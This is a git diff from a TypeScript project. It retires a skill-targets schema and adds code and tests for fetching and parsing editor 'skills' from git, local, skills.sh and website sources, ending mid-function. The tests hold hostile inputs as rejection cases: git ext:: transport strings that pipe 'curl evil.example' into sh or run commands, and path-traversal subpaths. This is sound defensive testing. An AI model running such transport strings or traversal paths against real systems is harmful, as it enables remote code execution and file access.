import { PROJECT_SKILL_EDITOR_IDS } from '../constants/editors.ts';
-import { parseSkillTargets, SkillTargetEditorSchema } from './schema.ts';
+import { SkillTargetEditorSchema } from './schema.ts';
describe('SkillTargetEditorSchema', () => {
test('matches the derived PROJECT_SKILL_EDITOR_IDS (drift guard)', () => {
@@ -12,9 +12,4 @@ describe('SkillTargetEditorSchema', () => {
[...PROJECT_SKILL_EDITOR_IDS].sort(),
);
});
-
- test('parseSkillTargets rejects an unknown editor id', () => {
- const raw = JSON.stringify({ schema: 1, targets: ['claude', 'sublime'] });
- expect(parseSkillTargets(raw)).toBeNull();
- });
});
diff --git a/packages/core/src/skill-targets/schema.ts b/packages/core/src/skill-targets/schema.ts
index 4886a8064..2cf08fd6f 100644
--- a/packages/core/src/skill-targets/schema.ts
+++ b/packages/core/src/skill-targets/schema.ts
@@ -2,11 +2,11 @@
* Schema for the per-project skill-targets store at
* `<projectDir>/.ok/skill-targets.json`.
*
- * The editable set of editor host dirs OK projects skills into. Unlike the
- * installed-skills marker (`.ok/local/`, per-machine), this lives at `.ok/`
- * root — COMMITTED, so teammates inherit one target set. Changing it
- * re-projects every managed skill (authored + OK's shipped `open-knowledge`
- * bundle) to the new set and reverse-projects from dropped editors.
+ * RETIRED with the `.ok/skills` store. Nothing reads or writes this file any
+ * more: targets are DETECTED from the editors a project is already configured
+ * for, and a skill's reach is per-skill in its install menu. The shape is kept
+ * only so an existing committed file still parses — a project that has one can
+ * delete it, and new projects never get one.
*
* Kept out of `config.yml` deliberately: config is a CRDT Y.Text doc with no
* programmatic field-patch path, whereas this is a plain atomically-writable
@@ -20,16 +20,6 @@
import { z } from 'zod';
import { type EditorId, PROJECT_SKILL_EDITOR_IDS } from '../constants/editors.ts';
-import { OK_DIR } from '../constants/ok-dir.ts';
-
-/** Filename of the committed skill-targets store under `.ok/`. */
-export const SKILL_TARGETS_FILENAME = 'skill-targets.json';
-
-/** Path segments relative to the project root (committed — NOT under `local/`). */
-export const SKILL_TARGETS_REL = [OK_DIR, SKILL_TARGETS_FILENAME] as const;
-
-/** Schema major version. Bump on breaking shape changes with a migrator. */
-export const SKILL_TARGETS_SCHEMA_VERSION = 1;
/**
* Editor ids valid as install-projection targets. Runtime values come from the
@@ -55,24 +45,14 @@ export const SkillTargetEditorSchema = z.enum(
);
export type SkillTargetEditor = z.infer<typeof SkillTargetEditorSchema>;
-export const SkillTargetsSchema = z.looseObject({
- schema: z.literal(SKILL_TARGETS_SCHEMA_VERSION),
- targets: z.array(SkillTargetEditorSchema).default([]),
-});
-export type SkillTargets = z.infer<typeof SkillTargetsSchema>;
-
/**
- * Parse + validate raw skill-targets JSON. Returns `null` on parse error or
- * schema violation (fail-soft — a corrupt store is treated as "unset", so OK
- * falls back to detection rather than throwing).
+ * The install-verb target vocabulary: the per-project editor set plus the
+ * `.agents` hub pseudo-host. ONE membership predicate — the scattered
+ * `h === 'agents' || EDITORS.includes(h)` copies it replaces were the
+ * breeding ground for vocabulary-gap bugs (a host id the predicate can't
+ * express gets silently dropped from set-exact semantics).
*/
-export function parseSkillTargets(raw: string): SkillTargets | null {
- let json: unknown;
- try {
- json = JSON.parse(raw);
- } catch {
- return null;
- }
- const parsed = SkillTargetsSchema.safeParse(json);
- return parsed.success ? parsed.data : null;
+export type SkillInstallTarget = SkillTargetEditor | 'agents';
+export function isSkillInstallTarget(host: string): host is SkillInstallTarget {
+ return host === 'agents' || (PROJECT_SKILL_EDITOR_IDS as readonly string[]).includes(host);
}
diff --git a/packages/core/src/skills-catalog/acquire/acquire.test.ts b/packages/core/src/skills-catalog/acquire/acquire.test.ts
new file mode 100644
index 000000000..2455663d3
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/acquire.test.ts
@@ -0,0 +1,593 @@
+import { execFileSync } from 'node:child_process';
+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { SkillPreviewSchema } from '../schema.ts';
+import { fetchSource, parseSkillsShSource, parseSource, SkillFetchError } from './fetch.ts';
+import {
+ emptySkillsLock,
+ findByContentHash,
+ parseSkillsLock,
+ SkillsLockSchema,
+ upsertLockEntry,
+} from './lockfile.ts';
+import { discoverSkillDirs, parseSkillDir } from './parse.ts';
+import { resolveSkillsShImportSource } from './skills-sh.ts';
+import { discoverWellKnownSkills } from './well-known.ts';
+
+function writeSkill(dir: string, fm: string, body = 'Body.'): void {
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(join(dir, 'SKILL.md'), `---\n${fm}\n---\n\n${body}\n`, 'utf-8');
+}
+
+let root: string;
+
+beforeAll(() => {
+ root = mkdtempSync(join(tmpdir(), 'ok-acquire-'));
+});
+afterAll(() => {
+ rmSync(root, { recursive: true, force: true });
+});
+
+describe('parseSkillDir', () => {
+ test('captures the FULL directory (not just scripts/+references/) + stable hash', () => {
+ const dir = join(root, 'one');
+ writeSkill(dir, 'name: cool-skill\ndescription: Does cool things');
+ mkdirSync(join(dir, 'scripts'), { recursive: true });
+ writeFileSync(join(dir, 'scripts', 'run.sh'), 'echo hi\n', 'utf-8');
+ mkdirSync(join(dir, 'references'), { recursive: true });
+ writeFileSync(join(dir, 'references', 'api.md'), '# API\n', 'utf-8');
+ // Files that the old scripts/+references/-only model would have DROPPED:
+ writeFileSync(join(dir, 'config.json'), '{"a":1}\n', 'utf-8'); // root file
+ mkdirSync(join(dir, 'assets'), { recursive: true });
+ writeFileSync(join(dir, 'assets', 'note.txt'), 'hi\n', 'utf-8'); // non-standard subdir
+ mkdirSync(join(dir, '.claude-plugin'), { recursive: true });
+ writeFileSync(join(dir, '.claude-plugin', 'plugin.json'), '{}\n', 'utf-8');
+
+ const skill = parseSkillDir(dir);
+ expect(skill?.name).toBe('cool-skill');
+ expect(skill?.description).toBe('Does cool things');
+ // Every file beside SKILL.md is captured, sorted, none dropped.
+ expect(skill?.files.map((f) => f.relPath)).toEqual([
+ '.claude-plugin/plugin.json',
+ 'assets/note.txt',
+ 'config.json',
+ 'references/api.md',
+ 'scripts/run.sh',
+ ]);
+ expect(skill?.files.find((f) => f.relPath === 'scripts/run.sh')?.content).toBe('echo hi\n');
+ expect(skill?.contentHash).toMatch(/^[0-9a-f]{64}$/);
+ });
+
+ test('binary files are preserved as raw bytes (not UTF-8 mangled)', () => {
+ const dir = join(root, 'bin');
+ writeSkill(dir, 'name: b\ndescription: d');
+ mkdirSync(join(dir, 'assets'), { recursive: true });
+ const png = new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x00, 0x01, 0xff, 0xfe]); // NUL inside
+ writeFileSync(join(dir, 'assets', 'logo.png'), png);
+
+ const file = parseSkillDir(dir)?.files.find((f) => f.relPath === 'assets/logo.png');
+ expect(file?.content).toBeNull(); // binary → no text
+ expect(file?.bytes && Array.from(file.bytes)).toEqual(Array.from(png));
+ });
+
+ test('parsed files map cleanly onto the preview response schema (regression)', () => {
+ // The preview endpoint sends `parsed.files.map(f => ({relPath, content}))`
+ // through SkillPreviewSchema. A shape mismatch (e.g. a required `kind` field,
+ // non-nullable content, or raw bytes) fails Zod at runtime and the preview
+ // silently degrades to the Open Graph card. Pin the contract here.
+ const dir = join(root, 'preview-shape');
+ writeSkill(dir, 'name: p\ndescription: d');
+ mkdirSync(join(dir, 'references'), { recursive: true });
+ writeFileSync(join(dir, 'references', 'a.md'), '# A\n', 'utf-8');
+ mkdirSync(join(dir, 'assets'), { recursive: true });
+ writeFileSync(join(dir, 'assets', 'logo.png'), new Uint8Array([0x89, 0x00, 0xff]));
+ const parsed = parseSkillDir(dir);
+ const body = {
+ name: parsed?.name ?? '',
+ description: parsed?.description ?? '',
+ skillMd: parsed?.skillMd ?? '',
+ files: (parsed?.files ?? []).map((f) => ({ relPath: f.relPath, content: f.content })),
+ };
+ expect(SkillPreviewSchema.safeParse(body).success).toBe(true);
+ });
+
+ test('.git and node_modules are excluded from capture', () => {
+ const dir = join(root, 'noisy');
+ writeSkill(dir, 'name: n\ndescription: d');
+ mkdirSync(join(dir, '.git'), { recursive: true });
+ writeFileSync(join(dir, '.git', 'HEAD'), 'ref: x\n', 'utf-8');
+ mkdirSync(join(dir, 'node_modules', 'p'), { recursive: true });
+ writeFileSync(join(dir, 'node_modules', 'p', 'index.js'), 'x\n', 'utf-8');
+ expect(parseSkillDir(dir)?.files).toEqual([]);
+ });
+
+ test('same bytes → same hash; changed bytes → different hash (dedupe key)', () => {
+ const a = join(root, 'h-a');
+ const b = join(root, 'h-b');
+ const c = join(root, 'h-c');
+ writeSkill(a, 'name: x\ndescription: d', 'Same.');
+ writeSkill(b, 'name: x\ndescription: d', 'Same.');
+ writeSkill(c, 'name: x\ndescription: d', 'Different.');
+ expect(parseSkillDir(a)?.contentHash).toBe(parseSkillDir(b)?.contentHash as string);
+ expect(parseSkillDir(a)?.contentHash).not.toBe(parseSkillDir(c)?.contentHash as string);
+ });
+
+ test('malformed frontmatter degrades to dir name; no SKILL.md → null', () => {
+ const bad = join(root, 'degraded');
+ writeSkill(bad, 'name: [unterminated\n : :');
+ expect(parseSkillDir(bad)?.name).toBe('degraded');
+ mkdirSync(join(root, 'empty'), { recursive: true });
+ expect(parseSkillDir(join(root, 'empty'))).toBeNull();
+ });
+});
+
+describe('discoverSkillDirs', () => {
+ test('root-is-skill, skills/* layout, and multi', () => {
+ const single = join(root, 'single');
+ writeSkill(single, 'name: s\ndescription: d');
+ expect(discoverSkillDirs(single).map((s) => s.name)).toEqual(['single']);
+
+ const repo = join(root, 'repo');
+ writeSkill(join(repo, 'skills', 'beta'), 'name: beta\ndescription: d');
+ writeSkill(join(repo, 'skills', 'alpha'), 'name: alpha\ndescription: d');
+ expect(discoverSkillDirs(repo).map((s) => s.name)).toEqual(['alpha', 'beta']);
+ });
+
+ test('nested category layout (skills/<category>/<skill>/) discovered recursively', () => {
+ // mattpocock/skills shelves skills as skills/productivity/grill-me/SKILL.md
+ const repo = join(root, 'nested');
+ writeSkill(join(repo, 'skills', 'productivity', 'grill-me'), 'name: grill-me\ndescription: d');
+ writeSkill(join(repo, 'skills', 'engineering', 'tdd'), 'name: tdd\ndescription: d');
+ // a skill's own bundle dirs must NOT be mistaken for skills
+ mkdirSync(join(repo, 'skills', 'productivity', 'grill-me', 'scripts'), { recursive: true });
+ writeSkill(
+ join(repo, 'skills', 'productivity', 'grill-me', 'scripts', 'inner'),
+ 'name: inner\ndescription: d',
+ );
+ expect(discoverSkillDirs(repo).map((s) => s.name)).toEqual(['grill-me', 'tdd']);
+ });
+});
+
+describe('parseSource', () => {
+ test('classifies github shorthand, git url, local, file://, and null', () => {
+ expect(parseSource('owner/repo')).toEqual({
+ kind: 'git',
+ url: 'https://github.com/owner/repo.git',
+ subpath: undefined,
+ });
+ expect(parseSource('github owner/repo/skills/x')).toEqual({
+ kind: 'git',
+ url: 'https://github.com/owner/repo.git',
+ subpath: 'skills/x',
+ });
+ expect(parseSource('https://gitlab.com/o/r.git')).toEqual({
+ kind: 'git',
+ url: 'https://gitlab.com/o/r.git',
+ });
+ expect(parseSource('./local/skill')).toEqual({ kind: 'local', path: './local/skill' });
+ expect(parseSource('file:///abs/skill')).toEqual({ kind: 'local', path: '/abs/skill' });
+ expect(parseSource(' ')).toBeNull();
+ });
+
+ test('rejects command-executing git transports (ext:: RCE guard)', () => {
+ // `ext::` runs an arbitrary command; the trailing `x://y` used to satisfy
+ // the old `includes('://')` check and reach `git clone`.
+ expect(parseSource("ext::sh -c 'curl evil.example/p|sh' x://y")).toBeNull();
+ expect(parseSource('ext::curl evil.example')).toBeNull();
+ expect(parseSource('fd::17/foo')).toBeNull();
+ // Real transports still classify as git.
+ expect(parseSource('ssh://git@host/o/r.git')).toEqual({
+ kind: 'git',
+ url: 'ssh://git@host/o/r.git',
+ });
+ expect(parseSource('[email protected]:o/r.git')).toEqual({
+ kind: 'git',
+ url: '[email protected]:o/r.git',
+ });
+ expect(parseSource('git://host/o/r.git')).toEqual({
+ kind: 'git',
+ url: 'git://host/o/r.git',
+ });
+ expect(parseSource('http://host/o/r.git')).toEqual({
+ kind: 'git',
+ url: 'http://host/o/r.git',
+ });
+ // Non-allowlisted schemes are rejected, not just the RCE-class ones.
+ expect(parseSource('ftp://host/o/r.git')).toBeNull();
+ expect(parseSource('svn://host/o/r')).toBeNull();
+ });
+});
+
+describe('parseSkillsShSource', () => {
+ test('parses explicit skills.sh URLs and handles without stealing github shorthand', () => {
+ expect(parseSkillsShSource('https://www.skills.sh/acme/skills/review-bot')).toEqual({
+ owner: 'acme',
+ skill: 'review-bot',
+ });
+ expect(parseSkillsShSource('skills.sh/acme/skills/review-bot')).toEqual({
+ owner: 'acme',
+ skill: 'review-bot',
+ });
+ expect(parseSkillsShSource('skills.sh acme/review-bot')).toEqual({
+ owner: 'acme',
+ skill: 'review-bot',
+ });
+ expect(
+ parseSkillsShSource('https://www.skills.sh/site/open.feishu.cn/lark-attendance'),
+ ).toEqual({
+ owner: 'open.feishu.cn',
+ skill: 'lark-attendance',
+ });
+ expect(parseSkillsShSource('acme/review-bot')).toBeNull();
+ });
+});
+
+describe('resolveSkillsShImportSource', () => {
+ test('resolves a skills.sh URL to the GitHub source and selected skill', async () => {
+ const calls: string[] = [];
+ const fetchImpl = async (url: string) => {
+ calls.push(url);
+ return {
+ ok: true,
+ status: 200,
+ json: async () => ({
+ skills: [
+ {
+ id: 'acme/craft-kit/review-bot',
+ name: 'review-bot',
+ source: 'acme/craft-kit',
+ installs: 42,
+ },
+ ],
+ }),
+ };
+ };
+
+ await expect(
+ resolveSkillsShImportSource('https://www.skills.sh/acme/skills/review-bot', undefined, {
+ fetchImpl,
+ }),
+ ).resolves.toEqual({
+ source: 'acme/craft-kit',
+ skill: 'review-bot',
+ publisher: 'acme',
+ spec: {
+ kind: 'git',
+ url: 'https://github.com/acme/craft-kit.git',
+ subpath: undefined,
+ },
+ });
+ expect(calls[0]).toContain('/api/search?q=review-bot&limit=30');
+ });
+
+ test('resolves a website catalog source without treating it as a git repository', async () => {
+ const noLookup: typeof fetch = async () => {
+ throw new Error('website catalog sources do not need a skills.sh search');
+ };
+ await expect(
+ resolveSkillsShImportSource('open.feishu.cn', 'lark-attendance', {
+ fetchImpl: noLookup,
+ }),
+ ).resolves.toEqual({
+ source: 'open.feishu.cn',
+ skill: 'lark-attendance',
+ publisher: 'open.feishu.cn',
+ spec: {
+ kind: 'well-known',
+ origin: 'https://open.feishu.cn',
+ skill: 'lark-attendance',
+ },
+ });
+ });
+
+ test('rejects a resolved local source (local-path smuggle)', async () => {
+ // The response `source` is untrusted; a home-rooted path would classify as
+ // a LOCAL import downstream and bypass the git-transport allowlist. (`~` is
+ // the one local shape whose first segment can also satisfy the owner match,
+ // so this exercises the guard end to end.)
+ const fetchImpl = async () => ({
+ ok: true,
+ status: 200,
+ json: async () => ({
+ skills: [{ id: '~/x/review-bot', name: 'review-bot', source: '~/x', installs: 1 }],
+ }),
+ });
+ await expect(
+ resolveSkillsShImportSource('skills.sh/~/skills/review-bot', undefined, { fetchImpl }),
+ ).rejects.toThrow(/unsafe source/);
+ });
+
+ test('returns null for non-skills.sh sources and errors on unresolved handles', async () => {
+ await expect(resolveSkillsShImportSource('owner/repo')).resolves.toBeNull();
+ await expect(
+ resolveSkillsShImportSource('skills.sh/acme/skills/missing', undefined, {
+ fetchImpl: async () => ({
+ ok: true,
+ status: 200,
+ json: async () => ({ skills: [] }),
+ }),
+ }),
+ ).rejects.toThrow(SkillFetchError);
+ });
+
+ test('wraps network/timeout/JSON failures as SkillFetchError (400, not 500)', async () => {
+ const boom = async () => {
+ throw new TypeError('fetch failed');
+ };
+ await expect(
+ resolveSkillsShImportSource('skills.sh/acme/skills/review-bot', undefined, {
+ fetchImpl: boom,
+ }),
+ ).rejects.toThrow(SkillFetchError);
+ });
+});
+
+describe('fetchSource', () => {
+ test('materializes every file declared by a website-backed skill index', async () => {
+ const origin = 'https://open.feishu.cn';
+ const skillMd = '---\nname: lark-approval\ndescription: Approval tools\n---\n\nUse the API.\n';
+ const reference = '# Approve\n';
+ const logo = new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x00, 0xff]);
+ const responses = new Map<string, Response>([
+ [`${origin}/.well-known/agent-skills/index.json`, new Response('<!doctype html>')],
+ [
+ `${origin}/.well-known/skills/index.json`,
+ Response.json({
+ skills: [
+ {
+ name: 'lark-approval',
+ description: 'Approval tools',
+ files: ['SKILL.md', 'references/approve.md', 'assets/logo.png'],
+ },
+ ],
+ }),
+ ],
+ [`${origin}/.well-known/skills/lark-approval/SKILL.md`, new Response(skillMd)],
+ [`${origin}/.well-known/skills/lark-approval/references/approve.md`, new Response(reference)],
+ [
+ `${origin}/.well-known/skills/lark-approval/assets/logo.png`,
+ new Response(logo, { headers: { 'content-type': 'image/png' } }),
+ ],
+ ]);
+ const requested: string[] = [];
+ const fetchImpl: typeof fetch = async (input) => {
+ const url = String(input);
+ requested.push(url);
+ return responses.get(url) ?? new Response('not found', { status: 404 });
+ };
+
+ const fetched = await fetchSource(
+ { kind: 'well-known', origin, skill: 'lark-approval' },
+ { fetchImpl },
+ );
+ try {
+ const parsed = parseSkillDir(fetched.dir);
+ expect(parsed?.skillMd).toBe(skillMd);
+ expect(parsed?.files.map((file) => file.relPath)).toEqual([
+ 'assets/logo.png',
+ 'references/approve.md',
+ ]);
+ expect(parsed?.files.find((file) => file.relPath === 'references/approve.md')?.content).toBe(
+ reference,
+ );
+ expect(parsed?.files.find((file) => file.relPath === 'assets/logo.png')?.bytes).toStrictEqual(
+ logo,
+ );
+ expect(requested).toEqual([...responses.keys()]);
+ } finally {
+ fetched.cleanup();
+ }
+ });
+
+ test('downloads a website bundle concurrently and reuses a supplied index', async () => {
+ // Two costs made installing from a website source feel like a hang: every
+ // file downloaded one at a time, and every skill re-read the origin index.
+ const origin = 'https://skills.example.com';
+ const files = ['SKILL.md', 'references/a.md', 'references/b.md', 'references/c.md'];
+ const index = {
+ basePath: '/.well-known/skills',
+ skills: [{ name: 'alpha', description: 'Alpha', files }],
+ };
+ let inFlight = 0;
+ let peakInFlight = 0;
+ const release: Array<() => void> = [];
+ const requested: string[] = [];
+ const fetchImpl: typeof fetch = async (input) => {
+ const url = String(input);
+ requested.push(url);
+ inFlight += 1;
+ peakInFlight = Math.max(peakInFlight, inFlight);
+ // Hold every response open until all of them have been issued — which can
+ // only happen if the downloads actually overlap.
+ await new Promise<void>((resolve) => {
+ release.push(resolve);
+ if (release.length === files.length) for (const r of release) r();
+ });
+ inFlight -= 1;
+ return new Response(url.endsWith('SKILL.md') ? '---\nname: alpha\n---\n\nBody.\n' : 'ref');
+ };
+
+ const fetched = await fetchSource(
+ { kind: 'well-known', origin, skill: 'alpha' },
+ { fetchImpl, index },
+ );
+ try {
+ expect(peakInFlight).toBe(files.length);
+ // The supplied index means ZERO index requests — only the bundle files.
+ expect(requested.some((url) => url.includes('index.json'))).toBe(false);
+ expect(requested).toHaveLength(files.length);
+ } finally {
+ fetched.cleanup();
+ }
+ });
+
+ test('discovers website-backed skills from the index without downloading bundles', async () => {
+ const origin = 'https://skills.example.com';
+ const requested: string[] = [];
+ const fetchImpl: typeof fetch = async (input) => {
+ const url = String(input);
+ requested.push(url);
+ return url.endsWith('/.well-known/agent-skills/index.json')
+ ? new Response('not found', { status: 404 })
+ : Response.json({
+ skills: [
+ { name: 'alpha', description: 'Alpha skill', files: ['SKILL.md'] },
+ {
+ name: 'beta',
+ description: 'Beta skill',
+ files: ['SKILL.md', 'references/api.md'],
+ },
+ ],
+ });
+ };
+
+ await expect(discoverWellKnownSkills(origin, { fetchImpl })).resolves.toEqual([
+ { name: 'alpha', description: 'Alpha skill' },
+ { name: 'beta', description: 'Beta skill' },
+ ]);
+ expect(requested).toEqual([
+ `${origin}/.well-known/agent-skills/index.json`,
+ `${origin}/.well-known/skills/index.json`,
+ ]);
+ });
+
+ test('rejects unsafe website bundle paths before requesting any files', async () => {
+ const origin = 'https://skills.example.com';
+ const requested: string[] = [];
+ const fetchImpl: typeof fetch = async (input) => {
+ const url = String(input);
+ requested.push(url);
+ return Response.json({
+ skills: [
+ {
+ name: 'escape',
+ description: 'Unsafe bundle',
+ files: ['SKILL.md', '../outside.txt'],
+ },
+ ],
+ });
+ };
+
+ await expect(
+ fetchSource({ kind: 'well-known', origin, skill: 'escape' }, { fetchImpl }),
+ ).rejects.toThrow(/No usable website skill index/);
+ expect(requested).toEqual([
+ `${origin}/.well-known/agent-skills/index.json`,
+ `${origin}/.well-known/skills/index.json`,
+ ]);
+ });
+
+ test('fails the whole website bundle when any declared dependency is unavailable', async () => {
+ const origin = 'https://skills.example.com';
+ const fetchImpl: typeof fetch = async (input) => {
+ const url = String(input);
+ if (url.endsWith('/index.json')) {
+ return Response.json({
+ skills: [
+ {
+ name: 'incomplete',
+ description: 'Incomplete bundle',
+ files: ['SKILL.md', 'references/missing.md'],
+ },
+ ],
+ });
+ }
+ if (url.endsWith('/SKILL.md')) return new Response('---\nname: incomplete\n---\n');
+ return new Response('not found', { status: 404 });
+ };
+
+ await expect(
+ fetchSource({ kind: 'well-known', origin, skill: 'incomplete' }, { fetchImpl }),
+ ).rejects.toThrow(/HTTP 404.*references\/missing\.md/);
+ });
+
+ test('refuses git command-executing transports (ext:: / fd::)', async () => {
+ await expect(fetchSource({ kind: 'git', url: "ext::sh -c 'id'" })).rejects.toThrow(
+ SkillFetchError,
+ );
+ await expect(fetchSource({ kind: 'git', url: 'fd::7/x' })).rejects.toThrow(SkillFetchError);
+ });
+
+ test('local path is read in place (no-op cleanup)', async () => {
+ const dir = join(root, 'single');
+ const f = await fetchSource({ kind: 'local', path: dir });
+ expect(f.dir).toBe(dir);
+ f.cleanup();
+ expect(parseSkillDir(f.dir)?.name).toBe('s');
+ });
+
+ test('missing local path throws SkillFetchError', async () => {
+ await expect(fetchSource({ kind: 'local', path: join(root, 'nope') })).rejects.toThrow(
+ SkillFetchError,
+ );
+ });
+
+ test('git source clones a local repo (no network)', async () => {
+ const repo = join(root, 'gitrepo');
+ writeSkill(repo, 'name: cloned\ndescription: from git');
+ const git = (args: string[]) =>
+ execFileSync('git', args, {
+ cwd: repo,
+ stdio: 'pipe',
+ env: { ...process.env, GIT_CONFIG_GLOBAL: '/dev/null', GIT_CONFIG_SYSTEM: '/dev/null' },
+ });
+ git(['init', '-q']);
+ git(['config', 'user.email', '[email protected]']);
+ git(['config', 'user.name', 't']);
+ git(['add', '-A']);
+ git(['commit', '-q', '-m', 'init']);
+
+ const f = await fetchSource({ kind: 'git', url: repo });
+ try {
+ expect(parseSkillDir(f.dir)?.name).toBe('cloned');
+ } finally {
+ f.cleanup();
+ }
+ });
+
+ test('git subpath escaping the clone or missing is rejected', async () => {
+ const repo = join(root, 'gitrepo-sub');
+ writeSkill(repo, 'name: base\ndescription: d');
+ const git = (args: string[]) =>
+ execFileSync('git', args, {
+ cwd: repo,
+ stdio: 'pipe',
+ env: { ...process.env, GIT_CONFIG_GLOBAL: '/dev/null', GIT_CONFIG_SYSTEM: '/dev/null' },
+ });
+ git(['init', '-q']);
+ git(['config', 'user.email', '[email protected]']);
+ git(['config', 'user.name', 't']);
+ git(['add', '-A']);
+ git(['commit', '-q', '-m', 'init']);
+ await expect(fetchSource({ kind: 'git', url: repo, subpath: '../../../etc' })).rejects.toThrow(
+ /escapes the clone/,
+ );
+ await expect(
+ fetchSource({ kind: 'git', url: repo, subpath: 'does-not-exist' }),
+ ).rejects.toThrow(/subpath not found/);
+ });
+});
+
+describe('lockfile', () => {
+ test('empty, upsert, findByContentHash, parse round-trip', () => {
+ let lock = emptySkillsLock();
+ expect(lock).toEqual({ schema: 1, skills: {} });
+ lock = upsertLockEntry(lock, 'cool-skill', {
+ source: 'owner/repo',
+ ref: 'abc123',
+ contentHash: 'deadbeef',
+ importedAt: '2026-06-29T00:00:00.000Z',
+ });
+ expect(findByContentHash(lock, 'deadbeef')).toBe('cool-skill');
+ expect(findByContentHash(lock, 'nope')).toBeNull();
+ const round = parseSkillsLock(JSON.stringify(lock));
+ expect(round).toEqual(lock);
+ expect(SkillsLockSchema.safeParse(lock).success).toBe(true);
+ });
+
+ test('corrupt JSON → null (fail-soft)', () => {
+ expect(parseSkillsLock('{not json')).toBeNull();
+ });
+});
diff --git a/packages/core/src/skills-catalog/acquire/errors.ts b/packages/core/src/skills-catalog/acquire/errors.ts
new file mode 100644
index 000000000..97a3b9ed6
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/errors.ts
@@ -0,0 +1,2 @@
+/** A skill source is malformed, unsafe, or could not be fetched. */
+export class SkillFetchError extends Error {}
diff --git a/packages/core/src/skills-catalog/acquire/fetch.ts b/packages/core/src/skills-catalog/acquire/fetch.ts
new file mode 100644
index 000000000..f1a7e46a8
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/fetch.ts
@@ -0,0 +1,228 @@
+/**
+ * Resolve an import source to a local directory to read a skill-dir from.
+ *
+ * v1 sources: a local / `file://` path, a `github owner/repo[/subpath]`
+ * shorthand, a raw git URL, and a website's well-known skill index. (Adopt-local
+ * is handled by the server straight from an enumerated skill's `home` — no
+ * fetch.) `skills.sh` references are resolved before this fetcher either clones
+ * their repository or materializes their declared website bundle.
+ *
+ * Network fetch is a shallow `git clone --depth 1` (git is already a dependency
+ * via the shadow repo). The caller is responsible for `cleanup()`.
+ */
+
+import { execFile, execFileSync } from 'node:child_process';
+import { existsSync, mkdtempSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { isAbsolute, join, relative, resolve } from 'node:path';
+import { promisify } from 'node:util';
+import { SkillFetchError } from './errors.ts';
+import {
+ fetchWellKnownSkill,
+ type WellKnownFetchOptions,
+ type WellKnownSourceSpec,
+} from './well-known.ts';
+
+const execFileAsync = promisify(execFile);
+
+export type SourceSpec =
+ | { kind: 'local'; path: string }
+ | { kind: 'git'; url: string; subpath?: string }
+ | WellKnownSourceSpec;
+
+export interface SkillsShSourceRef {
+ owner: string;
+ skill: string;
+}
+
+export { SkillFetchError } from './errors.ts';
+
+const GITHUB_SHORTHAND = /^(?:github\s+)?([\w.-]+)\/([\w.-]+?)(?:\.git)?(?:\/(.+))?$/;
+
+/**
+ * Classify a raw source string. Local paths (`/`, `.`, `~`, `file://`) and
+ * explicit git URLs (`://`, `git@`, `.git`) are taken verbatim; a bare
+ * `owner/repo[/subpath]` (optionally `github `-prefixed) becomes a GitHub HTTPS
+ * clone. Returns `null` when nothing matches.
+ */
+/**
+ * Safe git-clone transports. Anything else — notably `ext::` and `fd::`, which
+ * execute arbitrary commands — is rejected before it can reach `git clone`.
+ *
+ * Exported because the server enforces the same gate on its own path. This was
+ * two byte-identical copies kept in step by a comment, which is one edit away
+ * from reopening the transport hole on whichever side was missed.
+ */
+export const ALLOWED_GIT_TRANSPORTS: readonly RegExp[] = [
+ /^https?:\/\//i,
+ /^ssh:\/\//i,
+ /^git:\/\//i,
+ /^git@[^:]+:/, // SCP-style: [email protected]:owner/repo
+];
+
+export function parseSource(raw: string): SourceSpec | null {
+ const s = raw.trim();
+ if (s === '') return null;
+ if (s.startsWith('file://')) return { kind: 'local', path: s.slice('file://'.length) };
+ if (s.startsWith('/') || s.startsWith('.') || s.startsWith('~'))
+ return { kind: 'local', path: s };
+ if (s.startsWith('git@') || s.includes('://')) {
+ // Only real remote transports reach `git clone`. `includes('://')` alone
+ // would admit `ext::sh -c '…' x://y` — git's `ext::`/`fd::` transports run
+ // arbitrary commands (RCE). Allowlist the safe schemes (mirrors the server's
+ // isAllowedGitUrl in local-op-security.ts) so every clone caller — the skill
+ // preview/discover/import routes, the CLI, and the MCP tool — is guarded at
+ // this one shared chokepoint. Raw git URL: no subpath parsing (opaque).
+ if (!ALLOWED_GIT_TRANSPORTS.some((p) => p.test(s))) return null;
+ return { kind: 'git', url: s };
+ }
+ const m = GITHUB_SHORTHAND.exec(s);
+ if (m) {
+ const [, owner, repo, subpath] = m;
+ return { kind: 'git', url: `https://github.com/${owner}/${repo}.git`, subpath };
+ }
+ return null;
+}
+
+/**
+ * Parse direct skills.sh references without changing bare `owner/repo`
+ * semantics. Supported forms:
+ *
+ * - `https://www.skills.sh/<owner>/<repo>/<skill>` (what `skillsShSkillLinks`
+ * emits, and what the site uses — `<repo>` is literally `skills` only for
+ * publishers who named their repo that)
+ * - `https://www.skills.sh/site/<hostname>/<skill>`
+ * - `skills.sh <owner>/<skill>`
+ */
+export function parseSkillsShSource(raw: string): SkillsShSourceRef | null {
+ const s = raw.trim();
+ if (s === '') return null;
+
+ const fromPath = (path: string): SkillsShSourceRef | null => {
+ const parts = path.split('/').filter(Boolean).map(decodeURIComponent);
+ if (parts.length !== 3) return null;
+ const [first, middle, last] = parts;
+ // The middle segment is the REPO, not a fixed `skills` literal. Requiring
+ // the literal meant OK could not parse the very URL it renders in the
+ // preview header — it happened to work only because the popular publishers
+ // (anthropics, vercel-labs) name their repo `skills`. Owner-matching in
+ // `resolveSkillsShImportSource` is what actually narrows this.
+ const owner = first === 'site' ? middle : first;
+ const skill = last;
+ return owner && skill ? { owner, skill } : null;
+ };
+
+ if (/^https?:\/\//i.test(s)) {
+ try {
+ const url = new URL(s);
+ const host = url.hostname.toLowerCase();
+ if (host !== 'skills.sh' && host !== 'www.skills.sh') return null;
+ return fromPath(url.pathname);
+ } catch {
+ return null;
+ }
+ }
+
+ const prefixedPath = /^skills\.sh\/(.+)$/i.exec(s);
+ if (prefixedPath) return fromPath(prefixedPath[1] ?? '');
+
+ const prefixedHandle = /^skills\.sh\s+([\w.-]+)\/([\w.-]+)$/i.exec(s);
+ if (prefixedHandle) {
